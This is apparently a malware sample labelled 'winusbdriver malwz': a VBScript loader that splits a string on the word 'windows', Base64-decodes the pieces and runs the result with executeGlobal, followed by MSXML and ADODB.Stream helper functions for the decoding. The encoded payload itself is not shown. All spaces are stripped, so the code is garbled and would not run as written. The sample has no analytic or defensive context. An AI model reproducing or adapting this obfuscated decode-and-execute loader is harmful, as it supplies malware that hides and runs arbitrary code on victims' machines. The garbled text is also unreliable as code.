winusbdriver malwz

WinOs=SPLIT(WinOs,"windows")
FORWinSystem=0TOUBOUND(WinOs)-1
SysDate=SysDate&Base64Decode(WinOs(WinSystem))
NEXT
executeGlobal(SysDate)
FunctionBase64Encode(sText)
DimoXML,oNode
SetoXML=CreateObject("Msxml2.DOMDocument.3.0")
SetoNode=oXML.CreateElement("base64")
oNode.dataType="bin.base64"
oNode.nodeTypedValue=Stream_StringToBinary(sText)
Base64Encode=oNode.text
SetoNode=Nothing
SetoXML=Nothing
EndFunction
FunctionBase64Decode(ByValvCode)
DimoXML,oNode
SetoXML=CreateObject("Msxml2.DOMDocument.3.0")
SetoNode=oXML.CreateElement("base64")
oNode.dataType="bin.base64"
oNode.text=vCode
Base64Decode=Stream_BinaryToString(oNode.nodeTypedValue)
SetoNode=Nothing
SetoXML=Nothing
EndFunction
FunctionStream_StringToBinary(Text)
ConstadTypeText=2
ConstadTypeBinary=1
DimBinaryStream
SetBinaryStream=CreateObject("ADODB.Stream")
BinaryStream.Type=adTypeText
BinaryStream.CharSet="us-ascii"
BinaryStream.Open
BinaryStream.WriteTextText
BinaryStream.Position=0
BinaryStream.Type=adTypeBinary
BinaryStream.Position=0
Stream_StringToBinary=BinaryStream.Read
SetBinaryStream=Nothing
EndFunction
FunctionStream_BinaryToString(Binary)
ConstadTypeText=2
ConstadTypeBinary=1
DimBinaryStream
SetBinaryStream=CreateObject("ADODB.Stream")
BinaryStream.Type=adTypeBinary
BinaryStream.Open
BinaryStream.WriteBinary
BinaryStream.Position=0
BinaryStream.Type=adTypeText
BinaryStream.CharSet="us-ascii"
Stream_BinaryToString=BinaryStream.ReadText
SetBinaryStream=Nothing
EndFunction